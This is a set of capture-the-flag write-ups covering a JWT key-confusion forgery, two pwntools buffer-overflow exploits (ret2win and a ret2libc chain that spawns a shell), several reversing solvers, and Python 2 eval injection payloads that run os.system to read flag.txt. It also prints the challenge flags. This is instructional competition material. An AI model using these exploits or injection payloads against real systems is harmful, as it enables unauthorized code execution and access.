arrow-left

All pages
gitbookPowered by GitBook
1 of 14

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Broken Tokens

/pubkey.pem gives us the public key for JWT

Don't even need to read the source lol

Log in as guest to get jwt token, use jwt_tool to resign with pubkey

Set auth to admin

Get flag

hashtag
Flag: flag{1n53cur3_tok3n5_5474212}

Web

Meta Mountain

Download the jpg and look through the metadata with exiftool, the flag will be in 3 parts throughout the metadata from top being part 1, middle being part 2, and bottom being part 3

hashtag
Flag : flag{h1dd3n_w1th1n_th3_m0unta1ns_l13s_th3_m3tadata}

HSCTF

Boredom

Simple ret2win. It calls gets on rbp-0xd0, and there's a function called flag that grabs the flag from flag.txt

0xd0 + 8 bytes of padding + address of ret + flag function. Address of ret is needed on remote because stack alignment is a bitch

from pwn import *
NUM_TO_RET = 0xd0 + 8
padding = b'A' * NUM_TO_RET
e = ELF("./boredom")
payload = flat(padding, 0x000000000040101a, e.symbols['flag'] , word_size=64)
#p = e.process()
p = remote('pwn.hsctf.com', 5002)
p.sendline(payload)
p.interactive()

Pwnagotchi

Lets look into this. Let's first of all disassemble main. We'll notice lots of logic going on, and lots of functions - eat, zzz, etc. We also see some variables - once, sleepy, hungry, etc. These have to do with making your pwnagotchi happy. Is this important? No, not at all.

The main thing is that there is a gets call on rbp-0xc. This means that we instantaneously have a buffer overflow vulnerability. 0xc is 12, and 12 + 8 = 20, so we will have 20 bytes until the return address. This is confirmed by pattern.py.

No PIE, NX. My first instinct was ROP, but there wasn't enough gadgets. So I used ret2libc instead.

There's no PIE in the binary, so the GOT and the PLT stay constant. This allows us to execute a simple ret2plt attack, calling puts@plt on puts@GOT, and leaking the puts libc address. This libc address can be used to find the libc version of the remote instance, which is libc6_2.27-3ubuntu1_amd64. From there, we can call main again, and execute a simple ret2libc attack.

There's two things stopping us here, which I'll review.

First of all: main has some weird logic at the beginning. What actually happens is not important, what you need to know is that it can detect whether you've done weird stuff and called it again. When it detects this, it says "um, this is awkward" and quits. How do we bypass this? Simple. We jump to the specific instruction in main which starts our input, and continue from there.

Second thing: quite subtle. When we execute this attack remotely, everything goes smoothly. However, once we hit the final payload, things stop working. we get an EOF.

It's important to review what's happening. When our remote exploit does not work, the "pwnagotchi name is not happy!" message does NOT show up. What does this mean? It means we likely a hit a problem with the stack. You guessed it, stack alignment.

We can add a simple ret gadget in the middle of our payloads(0x400285) and our exploit succeeds! Script below

My fakestack pointer was a pointer to a random page mapped read-write in memory, so that the program could resume and make local variables like normal.

from pwn import *
NUM_TO_RET = 20
padding = b'A' * NUM_TO_RET
fakestack = 0x601000 + 0x700
e = ELF("./gotchi")
poprdi = 0x00000000004009f3 # pop rdi ; ret
poprsi = 0x00000000004009f1 # pop rsi ; pop r15 ; ret
#p = e.process()
p = remote('pwn.hsctf.com', 5005)
leak = flat(poprdi, e.got['puts'], e.plt['puts'],0x0000000000400285, 0x000000000040090b, word_size=64)
p.sendline(padding[:-8] + p64(fakestack) + leak)
p.recvuntil(b"!\n")
output = p.recv()[:-1] + b'\x00\x00'
puts = u64(output)
log.info(f"Puts address: {hex(puts)}")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("/home/kali/Tools/libc-database/libs/libc6_2.27-3ubuntu1_amd64/libc.so.6")
libcbase = puts - libc.symbols['puts']
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
#final = flat(poprdi, next(libc.search(b"/bin/sh\x00")), poprsi, 0, 0, 0x0000000000001b96, 0, libc.symbols['execve'], word_size=64)
final = flat(poprdi,next(libc.search(b"/bin/sh\x00")),0x0000000000400285, libc.symbols['system'], word_size=64)
p.sendline(padding[:-8] + p64(fakestack) + final)
p.interactive()

AP Lab: English Language

Let's look at the source code. It gets an input, and checks if it's length is 23 first of all. If not, it automatically tells you your input is wrong.

Then, it goes in a for loop. This loop will iterate 3 times. Each time, it sets inp(variable containing the input) to transpose(inp), and then to xor(inp)

Essentially, 3 times, it transposes then xors the input.

the xor is self explanatory, it xors the input with a key.

The transposing is a little different. It has a list of numbers, then does the equivalent of this in java(if the list of numbers was called nums)

return ''.join(inp[i] for i in nums)

We can reverse this relatively simply with a python script, and get the flag.

key = [4,1,3,1,2,1,3,0,1,4,3,1,2,0,1,4,1,2,3,2,1,0,3]
indexes =  [11,18,15,19,8,17,5,2,12,6,21,0,22,7,13,14,4,16,20,1,3,10,9]
enc =  b"1dd3|y_3tttb5g`q]^dhn3j"
def detranspose(transposed):
    dicto = dict(zip(indexes,transposed))
    ans = []
    for i in range(23):
        ans.append(dicto[i])
    return bytes(ans)
def solve(encrypted):
    stage1 = bytes(b1 ^ b2 for b1,b2 in zip(encrypted,key))
    return detranspose(stage1)
cur = enc
for _ in range(3):
    cur = solve(cur)
print(cur)

Binary Exploitation

AP lab: Comp Sci Principles

Download -> read file -> We've been provided with a java file

Upon some basic looking, we can see that the input has to be 18 chars - if (inp.length() != 18) { System.out.println("Input is incorrect") } .

We can also see - if (inp.equals("inagzgkpm)Wl&Tg&io")) { System.out.println("Input if the flag") } . So we know our input, and that string is 18 chars. Perfect.

We also see that - inp = shift( shift(inp) ) , so now time for the reversing.

All shift() does is gets a character in a string and then minuses i from that, and then stores it in a ret variable. So doing a bit of changing a minus to a plus, we manage to get a new string from that - "iocj~lqwu2aw2au5y\x80" (\x80 isn't an ascii char) - We can remove that \x80, as we know that it's going to be }.

I couldn't code this in python, so I turned to a online java compiler, and performed shift2() on that string, but again, taking a plus as a minus for reversing it.

That should return the flag, and you just pad it with the } that we took out earlier (\x80)

hashtag
Flag: flag{intr0_t0_r3v}

Python rev for shift

Java rev for shift2

a = ["i","n","a","g","z","g","k","p","m",")","W","l","&","T","g","&","i","o"]

def rev_shift(a):
    ret = ""
    tmp = ""

    for i in range(len(a)):
        tmp = (ord(a[i]) + i)
        ret += chr(tmp)

    return ret

print(rev_shift(a))
public class ctf_rev{  
public static void main(String args[]){  
String input = "iocj~lqwu2aw2au5y";
String ret = "";
for (int i = 0; i<input.length(); i++){
    ret += (char)(input.charAt(i) - Integer.toString((int)input.charAt(i)) .length());
}
System.out.println(ret);
}}

Ice Cream Bytes

There's a text file IceCreamManual.txt. It's actual contents aren't important, more what happens to it. The program reads all bytes from this file, then calls fillMachine on it. fillMachine basically grabs specific indexes of the file and puts them together into a byte string. I recreated this function in python and ran it to get the string lollookatthistextigotfromthemanual. The code calls 4 functions on our input, then compares the final result to that string. So we must reverse from that string back to the flag.

The 4 functions it calls, in order, are strawberry shuffle -> vanilla shuffle -> chocolate shuffle -> toppings

We'll work in reverse, going back one step each time to get the original input.

First things first: toppings. Toppings basically takes an array of bytes(bytes can be negative in java! It's weird, but largely unimportant) and every byte of the output is the respective byte of the input + the respective byte of the toppings byte array. We can simply subtract the values.

Next: chocolate shuffle

This code is a bit more complicated. For every index in the output: if an even index, AND index is > 0, set output[i] = input[i - 2] if an even index, and index IS 0, set output[i] = input[33]

if an odd index, AND index is < 32, output[i] = input[i + 2] if an odd index, and index >= 32, output[i] = input[1]

We can basically recreate the loop in python and swap around the indexes, e.g

input[i + 2] = output[i]

to reverse this step.

Next: vanilla shuffle.

This is simple. For every index in the input - if the index is even, add 1 to the byte value. If the index is odd, subtract 1. Again, easily reversible with a simple loop.

Finally, strawberry shuffle. The final thing to reverse to get the flag. The code looks a bit weird at first, but in reality all it does is reverse the string.

If we string all these things together, we get the flag. Script below.

def fillmachine(inputIceCream):
    output = [0 for _ in range(34)]
    intGredients = [27, 120, 79, 80, 147, 
            154, 97, 8, 13, 46, 31, 54, 15, 112, 3, 
            464, 116, 58, 87, 120, 139, 75, 6, 182, 
            9, 153, 53, 7, 42, 23, 24, 159, 41, 110]
    for i in range(34):
        output[i] = inputIceCream[intGredients[i]]
    return bytes(output)
def reversetoppings(inputcream):
    output = [0 for _ in range(34)]
    toppings = [4, 61, -8, -7, 58, 55, 
            -8, 49, 20, 65, -7, 54, -8, 66, -9, 69, 
            20, -9, -12, -4, 20, 5, 62, 3, -13, 66, 
            8, 3, 56, 47, -5, 13, 1, -7]
    for index,element in enumerate(inputcream):
        output[index] = element - toppings[index]
    return bytes(output)
def revchoco(inputcream):
    output = [1 for _ in range(34)]
    for i in range(34):
        if i % 2 == 0:
            if i > 0:
                output[i - 2] = inputcream[i]
            else:
                output[33] = inputcream[i]
        else:
            if i < 32:
                output[i + 2] = inputcream[i]
            else:
                output[1] = inputcream[i]
    return bytes(output)
def revvanilla(inputcream):
    output = [0 for _ in range(34)]
    for i in range(34):
        if i % 2 == 0:
            output[i] = inputcream[i] - 1
        else:
            output[i] = inputcream[i] + 1
    return bytes(output)
def revberry(inputcream):
    output = [0 for _ in range(34)]
    for i in range(34):
        output[34 - i - 1] = inputcream[i]
    return bytes(output)
target = fillmachine(open("manual.txt", "rb").read())
print(target)
stage1 = reversetoppings(target)
print(stage1)
stage2 = revchoco(stage1)
print(stage2)
stage3 = revvanilla(stage2)
print(stage3)
flag = revberry(stage3)
print(flag)

Misc

Reverse Engineering

Forensics

My First Calculator

By entering anything other than a number we see it's running input() with python2, which is basically equivalent to eval(input()) on python3

So uhhhh just:

__import__('os').system('ls')

oh hey flag.txt

__import__('os').system('cat flag.txt')

hashtag
Flag:flag{please_use_python3}